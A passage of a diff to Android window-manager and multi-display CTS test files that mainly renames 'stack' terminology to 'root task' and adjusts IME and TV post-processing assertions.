 import static org.junit.Assert.assertTrue;
 
 import android.content.ComponentName;
+import android.content.pm.PackageManager;
 import android.platform.test.annotations.Presubmit;
 
 import org.junit.Test;
@@ -66,10 +68,20 @@
 
     private void assertDisplayRequestedMinimalPostProcessing(ComponentName name, boolean on) {
         final int displayId = getDisplayId(name);
-
-        boolean supported = isMinimalPostProcessingSupported(displayId);
         boolean requested = isMinimalPostProcessingRequested(displayId);
 
+        PackageManager packageManager = mContext.getPackageManager();
+        // For TV Android S is requesting minimal post processing regardless if it's supported,
+        // because the same signal is used by HAL implementations to disable on-device processing.
+        final boolean isTv = packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK);
+        if (isTv) {
+            // TODO(b/202378408): Verify that minimal post-processing is requested only if
+            // it's supported once we have a separate API for disabling on-device processing.
+            assertEquals(requested, on);
+            return;
+        }
+
+        boolean supported = isMinimalPostProcessingSupported(displayId);
         assertTrue(supported ? requested == on : !requested);
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
index b730ebf..ad931ec 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java
@@ -19,6 +19,7 @@
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS;
 import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
 import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
 import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
@@ -76,7 +77,7 @@
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.SizeInfo;
-import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.Task;
 import android.server.wm.WindowManagerState.DisplayContent;
 import android.view.SurfaceView;
 
@@ -144,7 +145,7 @@
                 CUSTOM_DENSITY_DPI, reportedSizes.densityDpi);
 
         assertEquals("Top activity must have correct activity type", activityType,
-                mWmState.getFrontStackActivityType(newDisplay.mId));
+                mWmState.getFrontRootTaskActivityType(newDisplay.mId));
     }
 
     /**
@@ -250,7 +251,7 @@
                 .setSimulateDisplay(true).createDisplay();
 
         // Launch activity on new secondary display.
-        launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY, newDisplay.mId);
+        launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN, newDisplay.mId);
 
         waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId,
                 "Activity requested to launch on secondary display must be focused");
@@ -283,17 +284,17 @@
         final ActivitySession nonResizeableSession = virtualLauncher.launchActivity(
                 builder -> builder.setTargetActivity(NON_RESIZEABLE_ACTIVITY).setNewTask(true));
 
-        // Launch a resizeable activity on new secondary display to create a new stack there.
+        // Launch a resizeable activity on new secondary display to create a new task there.
         virtualLauncher.launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay);
-        final int externalFrontStackId = mWmState
+        final int externalFrontRootTaskId = mWmState
                 .getFrontRootTaskId(newDisplay.mId);
 
         // Clear lifecycle callback history before moving the activity so the later verification
         // can get the callbacks which are related to the reparenting.
         nonResizeableSession.takeCallbackHistory();
 
-        // Try to move the non-resizeable activity to the top of stack on secondary display.
-        moveActivityToRootTaskOrOnTop(NON_RESIZEABLE_ACTIVITY, externalFrontStackId);
+        // Try to move the non-resizeable activity to the top of the root task on secondary display.
+        moveActivityToRootTaskOrOnTop(NON_RESIZEABLE_ACTIVITY, externalFrontRootTaskId);
         // Wait for a while to check that it will move.
         assertTrue("Non-resizeable activity should be moved",
                 mWmState.waitForWithAmState(
@@ -350,16 +351,16 @@
         mWmState.waitForActivityState(NON_RESIZEABLE_ACTIVITY, STATE_RESUMED);
 
         // Check that non-resizeable activity is on the same display.
-        final int newFrontStackId = mWmState.getFocusedStackId();
-        final ActivityTask newFrontStack = mWmState.getRootTask(newFrontStackId);
+        final int newFrontRootTaskId = mWmState.getFocusedTaskId();
+        final Task newFrontRootTask = mWmState.getRootTask(newFrontRootTaskId);
         assertEquals("Launched activity must be on the same display", newDisplay.mId,
-                newFrontStack.mDisplayId);
+                newFrontRootTask.mDisplayId);
         assertEquals("Launched activity must be resumed",
                 getActivityName(NON_RESIZEABLE_ACTIVITY),
-                newFrontStack.mResumedActivity);
-        mWmState.assertFocusedStack(
-                "Top stack must be the one with just launched activity",
-                newFrontStackId);
+                newFrontRootTask.mResumedActivity);
+        mWmState.assertFocusedRootTask(
+                "Top task must be the one with just launched activity",
+                newFrontRootTaskId);
         mWmState.assertResumedActivity("NON_RESIZEABLE_ACTIVITY not resumed",
                 NON_RESIZEABLE_ACTIVITY);
     }
@@ -384,7 +385,7 @@
         // Launch second activity without specifying display.
         launchActivity(LAUNCHING_ACTIVITY);
 
-        // Check that activity is launched in focused stack on the new display.
+        // Check that activity is launched in focused task on the new display.
         waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
                 "Launched activity must be focused");
         mWmState.assertResumedActivity("LAUNCHING_ACTIVITY must be resumed", LAUNCHING_ACTIVITY);
@@ -410,7 +411,7 @@
         // Launch second activity without specifying display.
         launchActivity(SECOND_ACTIVITY);
 
-        // Check that activity is launched in focused stack on primary display.
+        // Check that activity is launched in focused task on primary display.
         waitAndAssertTopResumedActivity(SECOND_ACTIVITY, DEFAULT_DISPLAY,
                 "Launched activity must be focused");
         assertBothDisplaysHaveResumedActivities(pair(newDisplay.mId, TEST_ACTIVITY),
@@ -437,7 +438,7 @@
         // Launch second activity from app on secondary display without specifying display id.
         getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY).execute();
 
-        // Check that activity is launched in focused stack on external display.
+        // Check that activity is launched in focused task on external display.
         waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
                 "Launched activity must be on top");
     }
@@ -462,7 +463,7 @@
         getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY).execute();
         mWmState.computeState(TEST_ACTIVITY);
 
-        // Check that activity is launched in focused stack on external display.
+        // Check that activity is launched in focused task on external display.
         waitAndAssertTopResumedActivity(TEST_ACTIVITY, newDisplay.mId,
                 "Launched activity must be on top");
     }
@@ -489,7 +490,7 @@
                 .setDisplayId(newDisplay.mId)
                 .execute();
 
-        // Check that activity is launched in focused stack on external display.
+        // Check that activity is launched in focused task on external display.
         waitAndAssertTopResumedActivity(SECOND_ACTIVITY, newDisplay.mId,
                 "Launched activity must be on top");
 
@@ -501,7 +502,7 @@
                 .setTargetActivity(THIRD_ACTIVITY)
                 .execute();
 
-        // Check that activity is launched in focused stack on external display.
+        // Check that activity is launched in focused task on external display.
         waitAndAssertTopResumedActivity(THIRD_ACTIVITY, newDisplay.mId,
                 "Launched activity must be on top");
     }
@@ -605,13 +606,13 @@
         // Create new virtual display.
         final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
         mWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
-        // Launch something to that display so that a new stack is created. We need this to be
-        // able to compare task numbers in stacks later.
+        // Launch something to that display so that a new task is created. We need this to be
+        // able to compare task numbers in tasks later.
         launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
         mWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
 
-        final int stackNum = mWmState.getDisplay(DEFAULT_DISPLAY).mRootTasks.size();
-        final int stackNumOnSecondary = mWmState
+        final int rootTaskNum = mWmState.getDisplay(DEFAULT_DISPLAY).mRootTasks.size();
+        final int rootTaskNumOnSecondary = mWmState
                 .getDisplay(newDisplay.mId).mRootTasks.size();
 
         // Launch activity on new secondary display.
@@ -628,16 +629,16 @@
                 "Existing task must be brought to front");
 
         // Check that task has moved from primary display to secondary.
-        // Since it is 1-to-1 relationship between task and stack for standard type &
-        // fullscreen activity, we check the number of stacks here
-        final int stackNumFinal = mWmState.getDisplay(DEFAULT_DISPLAY)
+        // Since it is 1-to-1 relationship between task and root task for standard type &
+        // fullscreen activity, we check the number of root tasks here
+        final int rootTaskNumFinal = mWmState.getDisplay(DEFAULT_DISPLAY)
                 .mRootTasks.size();
-        assertEquals("Stack number in default stack must be decremented.", stackNum - 1,
-                stackNumFinal);
-        final int stackNumFinalOnSecondary = mWmState
+        assertEquals("Root task number in default root task must be decremented.", rootTaskNum - 1,
+                rootTaskNumFinal);
+        final int rootTaskNumFinalOnSecondary = mWmState
                 .getDisplay(newDisplay.mId).mRootTasks.size();
-        assertEquals("Stack number on external display must be incremented.",
-                stackNumOnSecondary + 1, stackNumFinalOnSecondary);
+        assertEquals("Root task number on external display must be incremented.",
+                rootTaskNumOnSecondary + 1, rootTaskNumFinalOnSecondary);
     }
 
     /**
@@ -655,7 +656,7 @@
         final DisplayContent newDisplay = createManagedVirtualDisplaySession().createDisplay();
         mWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
 
-        final int stackNum = mWmState.getDisplay(DEFAULT_DISPLAY).mRootTasks.size();
+        final int rootTaskNum = mWmState.getDisplay(DEFAULT_DISPLAY).mRootTasks.size();
 
         // Launch activity on new secondary display.
         // Using custom command here, because normally we add flags
@@ -671,10 +672,10 @@
                 "Existing task must be brought to front");
 
         // Check that task has moved from primary display to secondary.
-        final int stackNumFinal = mWmState.getDisplay(DEFAULT_DISPLAY)
+        final int rootTaskNumFinal = mWmState.getDisplay(DEFAULT_DISPLAY)
                 .mRootTasks.size();
-        assertEquals("Stack number in default stack must be decremented.", stackNum - 1,
-                stackNumFinal);
+        assertEquals("Root task number in default root task must be decremented.", rootTaskNum - 1,
+                rootTaskNumFinal);
     }
 
     /**
@@ -690,21 +691,21 @@
         mWmState.computeState(LAUNCHING_ACTIVITY);
 
         // Check that activity is on the secondary display.
-        final int frontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
-        final ActivityTask firstFrontStack = mWmState.getRootTask(frontStackId);
+        final int frontRootTaskId = mWmState.getFrontRootTaskId(newDisplay.mId);
+        final Task firstFrontRootTask = mWmState.getRootTask(frontRootTaskId);
         assertEquals("Activity launched on secondary display must be resumed",
                 getActivityName(LAUNCHING_ACTIVITY),
-                firstFrontStack.mResumedActivity);
-        mWmState.assertFocusedStack("Top stack must be on secondary display", frontStackId);
+                firstFrontRootTask.mResumedActivity);
+        mWmState.assertFocusedRootTask("Top root task must be on secondary display",
+                frontRootTaskId);
 
         executeShellCommand("am start -n " + getActivityName(ALT_LAUNCHING_ACTIVITY));
         mWmState.waitForValidState(ALT_LAUNCHING_ACTIVITY);
 
         // Check that second activity gets launched on the default display despite
         // the affinity match on the secondary display.
-        final int displayFrontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
-        final ActivityTask displayFrontStack =
-                mWmState.getRootTask(displayFrontStackId);
+        final int displayFrontRootTaskId = mWmState.getFrontRootTaskId(newDisplay.mId);
+        final Task displayFrontRootTask = mWmState.getRootTask(displayFrontRootTaskId);
         waitAndAssertTopResumedActivity(ALT_LAUNCHING_ACTIVITY, newDisplay.mId,
                 "Activity launched on same display must be resumed");
         launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
@@ -713,16 +714,17 @@
 
         // Check that the third intent is redirected to the first task due to the root
         // component match on the secondary display.
-        final ActivityTask secondFrontStack = mWmState.getRootTask(frontStackId);
-        final int secondFrontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
+        final Task secondFrontRootTask = mWmState.getRootTask(frontRootTaskId);
+        final int secondFrontRootTaskId = mWmState.getFrontRootTaskId(newDisplay.mId);
         assertEquals("Activity launched on secondary display must be resumed",
                 getActivityName(ALT_LAUNCHING_ACTIVITY),
-                displayFrontStack.mResumedActivity);
-        mWmState.assertFocusedStack("Top stack must be on primary display", secondFrontStackId);
+                displayFrontRootTask.mResumedActivity);
+        mWmState.assertFocusedRootTask("Top root task must be on primary display",
+                secondFrontRootTaskId);
         assertEquals("Second display must contain 2 root tasks", 2,
                 mWmState.getDisplay(newDisplay.mId).getRootTasks().size());
         assertEquals("Top task must contain 2 activities", 2,
-                secondFrontStack.getActivities().size());
+                secondFrontRootTask.getActivities().size());
     }
 
     /**
@@ -734,7 +736,7 @@
         getLaunchActivityBuilder().setUseInstrumentation()
                 .setTargetActivity(TEST_ACTIVITY).setNewTask(true)
                 .setDisplayId(DEFAULT_DISPLAY).execute();
-        final int stackId = mWmState.getFrontRootTaskId(DEFAULT_DISPLAY);
+        final int rootTaskId = mWmState.getFrontRootTaskId(DEFAULT_DISPLAY);
 
         getLaunchActivityBuilder().setUseInstrumentation()
                 .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY).setNewTask(true)
@@ -744,13 +746,14 @@
         getLaunchActivityBuilder().setUseInstrumentation().setWithShellPermission(true)
                 .setTargetActivity(TEST_ACTIVITY).setNewTask(true)
                 .setDisplayId(newDisplay.mId).execute();
-        assertNotEquals("Top focus stack should not be on default display",
-                stackId, mWmState.getFocusedStackId());
+        assertNotEquals("Top focus root task should not be on default display",
+                rootTaskId, mWmState.getFocusedTaskId());
 
         mBroadcastActionTrigger.launchActivityNewTask(getActivityName(TEST_ACTIVITY));
         waitAndAssertTopResumedActivity(TEST_ACTIVITY, DEFAULT_DISPLAY,
                 "Activity must be launched on default display");
-        mWmState.assertFocusedStack("Top focus stack must be on the default display", stackId);
+        mWmState.assertFocusedRootTask("Top focus root task must be on the default display",
+                rootTaskId);
     }
 
     /**
@@ -764,11 +767,11 @@
         launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mId);
 
         // Check that activity is on the secondary display.
-        final int frontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
-        final ActivityTask firstFrontStack = mWmState.getRootTask(frontStackId);
+        final int frontRootTaskId = mWmState.getFrontRootTaskId(newDisplay.mId);
+        final Task firstFrontRootTask = mWmState.getRootTask(frontRootTaskId);
         assertEquals("Activity launched on secondary display must be resumed",
-                getActivityName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
-        mWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+                getActivityName(LAUNCHING_ACTIVITY), firstFrontRootTask.mResumedActivity);
+        mWmState.assertFocusedRootTask("Focus must be on secondary display", frontRootTaskId);
 
         // We don't want FLAG_ACTIVITY_MULTIPLE_TASK, so we can't use launchActivityOnDisplay
         executeShellCommand("am start -n " + getActivityName(ALT_LAUNCHING_ACTIVITY)
@@ -778,22 +781,23 @@
 
         // Check that second activity gets launched into the affinity matching
         // task on the secondary display
-        final int secondFrontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
-        final ActivityTask secondFrontStack =
-                mWmState.getRootTask(secondFrontStackId);
+        final int secondFrontRootTaskId = mWmState.getFrontRootTaskId(newDisplay.mId);
+        final Task secondFrontRootTask =
+                mWmState.getRootTask(secondFrontRootTaskId);
         assertEquals("Activity launched on secondary display must be resumed",
                 getActivityName(ALT_LAUNCHING_ACTIVITY),
-                secondFrontStack.mResumedActivity);
-        mWmState.assertFocusedStack("Top stack must be on secondary display", secondFrontStackId);
+                secondFrontRootTask.mResumedActivity);
+        mWmState.assertFocusedRootTask("Top root task must be on secondary display",
+                secondFrontRootTaskId);
         assertEquals("Second display must only contain 1 task",
                 1, mWmState.getDisplay(newDisplay.mId).getRootTasks().size());
-        assertEquals("Top stack task must contain 2 activities",
-                2, secondFrontStack.getActivities().size());
+        assertEquals("Top root task must contain 2 activities",
+                2, secondFrontRootTask.getActivities().size());
     }
 
     /**
      * Tests that a new activity launched by an activity will end up on the same display
-     * even if the task stack is not on the top for the display.
+     * even if the root task is not on the top for the display.
      */
     @Test
     public void testNewTaskSameDisplay() {
@@ -815,17 +819,17 @@
 
         mBroadcastActionTrigger.launchActivityNewTask(getActivityName(LAUNCHING_ACTIVITY));
 
-        // Check that the third activity ends up in a new stack in the same display where the
+        // Check that the third activity ends up in a new task in the same display where the
         // first activity lands
         waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
                 "Activity must be launched on secondary display");
-        assertEquals("Secondary display must contain 2 stacks", 2,
+        assertEquals("Secondary display must contain 2 root tasks", 2,
                 mWmState.getDisplay(newDisplay.mId).mRootTasks.size());
     }
 
     /**
      * Tests that a new task launched by an activity will end up on the same display
-     * even if the focused stack is not on that activity's display.
+     * even if the focused task is not on that activity's display.
      */
     @Test
     public void testNewTaskDefaultDisplay() {
@@ -850,11 +854,11 @@
 
         mBroadcastActionTrigger.launchActivityNewTask(getActivityName(LAUNCHING_ACTIVITY));
 
-        // Check that the third activity ends up in a new stack in the same display where the
+        // Check that the third activity ends up in a new task in the same display where the
         // first activity lands
         waitAndAssertTopResumedActivity(LAUNCHING_ACTIVITY, newDisplay.mId,
                 "Activity must be launched on secondary display");
-        assertEquals("Secondary display must contain 2 stacks", 2,
+        assertEquals("Secondary display must contain 2 root tasks", 2,
                 mWmState.getDisplay(newDisplay.mId).mRootTasks.size());
         assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, SECOND_ACTIVITY),
                 pair(newDisplay.mId, LAUNCHING_ACTIVITY));
@@ -919,10 +923,10 @@
             // Check that activity is launched and placed correctly.
             waitAndAssertActivityStateOnDisplay(componentName, STATE_RESUMED, displayId,
                     "Test activity must be on top");
-            final int frontStackId = mWmState.getFrontRootTaskId(displayId);
-            final ActivityTask firstFrontStack = mWmState.getRootTask(frontStackId);
+            final int frontRootTaskId = mWmState.getFrontRootTaskId(displayId);
+            final Task firstFrontRootTask = mWmState.getRootTask(frontRootTaskId);
             assertEquals("Activity launched on secondary display must be resumed",
-                    getActivityName(componentName), firstFrontStack.mResumedActivity);
+                    getActivityName(componentName), firstFrontRootTask.mResumedActivity);
         } finally {
             virtualDisplay.release();
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
index 22d449c..58df952 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayPolicyTests.java
@@ -52,7 +52,7 @@
 import android.server.wm.CommandSession.ActivityCallback;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.CommandSession.SizeInfo;
-import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.Task;
 import android.server.wm.WindowManagerState.DisplayContent;
 
 import org.junit.Before;
@@ -375,8 +375,8 @@
         mWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
         mWmState.assertFocusedActivity("Virtual display activity must be on top",
                 VIRTUAL_DISPLAY_ACTIVITY);
-        final int defaultDisplayStackId = mWmState.getFocusedStackId();
-        ActivityTask frontStack = mWmState.getRootTask(
+        final int defaultDisplayStackId = mWmState.getFocusedTaskId();
+        Task frontStack = mWmState.getRootTask(
                 defaultDisplayStackId);
         assertEquals("Top stack must remain on primary display",
                 DEFAULT_DISPLAY, frontStack.mDisplayId);
@@ -442,7 +442,7 @@
     public void testStackFocusSwitchOnDisplayRemoved3() {
         // Start an activity on default display to determine default stack.
         launchActivity(BROADCAST_RECEIVER_ACTIVITY);
-        final int focusedStackWindowingMode = mWmState.getFrontStackWindowingMode(
+        final int focusedStackWindowingMode = mWmState.getFrontRootTaskWindowingMode(
                 DEFAULT_DISPLAY);
         // Finish probing activity.
         mBroadcastActionTrigger.finishBroadcastReceiverActivity();
@@ -469,7 +469,7 @@
             }
 
             // Launch activity on new secondary display.
-            launchActivityOnDisplay(RESIZEABLE_ACTIVITY, newDisplay.mId);
+            launchActivityOnDisplay(RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN, newDisplay.mId);
             waitAndAssertActivityStateOnDisplay(RESIZEABLE_ACTIVITY, STATE_RESUMED, newDisplay.mId,
                     "Test activity must be on secondary display");
 
@@ -487,7 +487,7 @@
 
         // Check if the top activity is now back on primary display.
         mWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
-        mWmState.assertFocusedStack(
+        mWmState.assertFocusedRootTask(
                 "Default stack on primary display must be focused after display removed",
                 windowingMode, ACTIVITY_TYPE_STANDARD);
         mWmState.assertFocusedActivity(
@@ -744,7 +744,7 @@
     private void assertTopTaskSameSurfaceSizeWithDisplay(int displayId) {
         final DisplayContent display = mWmState.getDisplay(displayId);
         final int stackId = mWmState.getFrontRootTaskId(displayId);
-        final ActivityTask task = mWmState.getRootTask(stackId).getTopTask();
+        final Task task = mWmState.getRootTask(stackId).getTopTask();
 
         assertEquals("Task must have same surface width with its display",
                 display.getSurfaceSize(), task.getSurfaceWidth());
@@ -754,6 +754,7 @@
 
     @Test
     public void testAppTransitionForActivityOnDifferentDisplay() {
+        assumeFalse(ENABLE_SHELL_TRANSITIONS);
         final TestActivitySession<StandardActivity> transitionActivitySession =
                 createManagedTestActivitySession();
         // Create new simulated display.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
index f14bf6a..955b951 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySecurityTests.java
@@ -62,11 +62,10 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
-import android.graphics.Rect;
 import android.os.Bundle;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState.DisplayContent;
-import android.server.wm.WindowManagerState.ActivityTask;
+import android.server.wm.WindowManagerState.Task;
 import android.server.wm.CommandSession.ActivitySession;
 import android.server.wm.TestJournalProvider.TestJournalContainer;
 import android.view.Display;
@@ -471,11 +470,10 @@
         mWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
         mWmState.assertFocusedActivity("Virtual display activity must be on top",
                 VIRTUAL_DISPLAY_ACTIVITY);
-        final int defaultDisplayFocusedStackId = mWmState.getFocusedStackId();
-        ActivityTask frontStack = mWmState.getRootTask(
-                defaultDisplayFocusedStackId);
-        assertEquals("Top stack must remain on primary display",
-                DEFAULT_DISPLAY, frontStack.mDisplayId);
+        final int defaultDisplayFocusedTaskId = mWmState.getFocusedTaskId();
+        Task frontRootTask = mWmState.getRootTask(defaultDisplayFocusedTaskId);
+        assertEquals("Top root task must remain on primary display",
+                DEFAULT_DISPLAY, frontRootTask.mDisplayId);
 
         // Launch activity on new secondary display.
         launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
@@ -485,7 +483,7 @@
         assertBothDisplaysHaveResumedActivities(pair(DEFAULT_DISPLAY, VIRTUAL_DISPLAY_ACTIVITY),
                 pair(newDisplay.mId, TEST_ACTIVITY));
 
-        // Launch other activity with different uid and check it is launched on dynamic stack on
+        // Launch other activity with different uid and check it is launched on dynamic task on
         // secondary display.
         final String startCmd = "am start -n " + getActivityName(SECOND_ACTIVITY)
                 + " --display " + newDisplay.mId;
@@ -537,18 +535,19 @@
         mWmState.computeState(LAUNCHING_ACTIVITY);
 
         // Check that the first activity is launched onto the secondary display.
-        final int frontStackId = mWmState.getFrontRootTaskId(newDisplay.mId);
-        ActivityTask frontStack = mWmState.getRootTask(frontStackId);
+        final int frontRootTaskId = mWmState.getFrontRootTaskId(newDisplay.mId);
+        Task frontTask = mWmState.getRootTask(frontRootTaskId);
         assertEquals("Activity launched on secondary display must be resumed",
-                getActivityName(LAUNCHING_ACTIVITY), frontStack.mResumedActivity);
-        mWmState.assertFocusedStack("Top stack must be on secondary display", frontStackId);
+                getActivityName(LAUNCHING_ACTIVITY), frontTask.mResumedActivity);
+        mWmState.assertFocusedRootTask("Top task must be on secondary display",
+                frontRootTaskId);
 
         // Launch an activity from a different UID into the first activity's task.
         getLaunchActivityBuilder().setTargetActivity(SECOND_ACTIVITY).execute();
 
         waitAndAssertTopResumedActivity(SECOND_ACTIVITY, newDisplay.mId,
                 "Top activity must be the newly launched one");
-        frontStack = mWmState.getRootTask(frontStackId);
+        frontTask = mWmState.getRootTask(frontRootTaskId);
         assertEquals("Secondary display must contain 1 task", 1,
                 mWmState.getDisplay(newDisplay.mId).getRootTasks().size());
     }
@@ -564,11 +563,10 @@
         mWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
         mWmState.assertFocusedActivity("Virtual display activity must be focused",
                 VIRTUAL_DISPLAY_ACTIVITY);
-        final int defaultDisplayFocusedStackId = mWmState.getFocusedStackId();
-        ActivityTask frontStack = mWmState.getRootTask(
-                defaultDisplayFocusedStackId);
-        assertEquals("Top stack must remain on primary display",
-                DEFAULT_DISPLAY, frontStack.mDisplayId);
+        final int defaultDisplayFocusedRootTaskId = mWmState.getFocusedTaskId();
+        Task frontRootTask = mWmState.getRootTask(defaultDisplayFocusedRootTaskId);
+        assertEquals("Top root task must remain on primary display",
+                DEFAULT_DISPLAY, frontRootTask.mDisplayId);
 
         // Launch activity on new secondary display.
         launchActivityOnDisplay(TEST_ACTIVITY, newDisplay.mId);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
index 8f2483c..cb2fb3f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplaySystemDecorationTests.java
@@ -42,6 +42,7 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -102,6 +103,8 @@
 @Presubmit
 @android.server.wm.annotation.Group3
 public class MultiDisplaySystemDecorationTests extends MultiDisplayTestBase {
+    final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+    final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
 
     @Before
     @Override
@@ -379,7 +382,7 @@
 
         tapOnDisplayCenter(newDisplay.mId);
         assertEquals("Top activity must be home type", ACTIVITY_TYPE_HOME,
-                mWmState.getFrontStackActivityType(newDisplay.mId));
+                mWmState.getFrontRootTaskActivityType(newDisplay.mId));
     }
 
     // IME related tests
@@ -399,17 +402,17 @@
                 .setDisplayImePolicy(DISPLAY_IME_POLICY_LOCAL)
                 .setSimulateDisplay(true)
                 .createDisplay();
+
+        final ImeEventStream stream = mockImeSession.openEventStream();
+
         imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
                 newDisplay.mId);
 
+        expectEvent(stream, editorMatcher("onStartInput",
+                imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()), TIMEOUT);
+
         // Make the activity to show soft input.
-        final ImeEventStream stream = mockImeSession.openEventStream();
-        imeTestActivitySession.runOnMainSyncAndWait(
-                imeTestActivitySession.getActivity()::showSoftInput);
-        waitOrderedImeEventsThenAssertImeShown(stream, newDisplay.mId,
-                editorMatcher("onStartInput",
-                        imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
-                event -> "showSoftInput".equals(event.getEventName()));
+        showSoftInputAndAssertImeShownOnDisplay(newDisplay.mId, imeTestActivitySession, stream);
 
         // Assert the configuration of the IME window is the same as the configuration of the
         // virtual display.
@@ -418,14 +421,11 @@
         // Launch another activity on the default display.
         imeTestActivitySession2.launchTestActivityOnDisplaySync(
                 ImeTestActivity2.class, DEFAULT_DISPLAY);
+        expectEvent(stream, editorMatcher("onStartInput",
+                imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()), TIMEOUT);
 
         // Make the activity to show soft input.
-        imeTestActivitySession2.runOnMainSyncAndWait(
-                imeTestActivitySession2.getActivity()::showSoftInput);
-        waitOrderedImeEventsThenAssertImeShown(stream, DEFAULT_DISPLAY,
-                editorMatcher("onStartInput",
-                        imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()),
-                event -> "showSoftInput".equals(event.getEventName()));
+        showSoftInputAndAssertImeShownOnDisplay(DEFAULT_DISPLAY, imeTestActivitySession2, stream);
 
         // Assert the configuration of the IME window is the same as the configuration of the
         // default display.
@@ -500,31 +500,22 @@
         // Tap default display as top focused display & request focus on EditText to show
         // soft input.
         tapOnDisplayCenter(defDisplay.mId);
-        imeTestActivitySession.runOnMainSyncAndWait(
-                imeTestActivitySession.getActivity()::showSoftInput);
-        waitOrderedImeEventsThenAssertImeShown(stream, defDisplay.mId,
-                editorMatcher("onStartInput",
-                        imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
-                event -> "showSoftInput".equals(event.getEventName()));
+        expectEvent(stream, editorMatcher("onStartInput",
+                imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()), TIMEOUT);
+        showSoftInputAndAssertImeShownOnDisplay(defDisplay.mId, imeTestActivitySession, stream);
 
         // Tap virtual display as top focused display & request focus on EditText to show
         // soft input.
         tapOnDisplayCenter(newDisplay.mId);
-        imeTestActivitySession2.runOnMainSyncAndWait(
-                imeTestActivitySession2.getActivity()::showSoftInput);
-        waitOrderedImeEventsThenAssertImeShown(stream, newDisplay.mId,
-                editorMatcher("onStartInput",
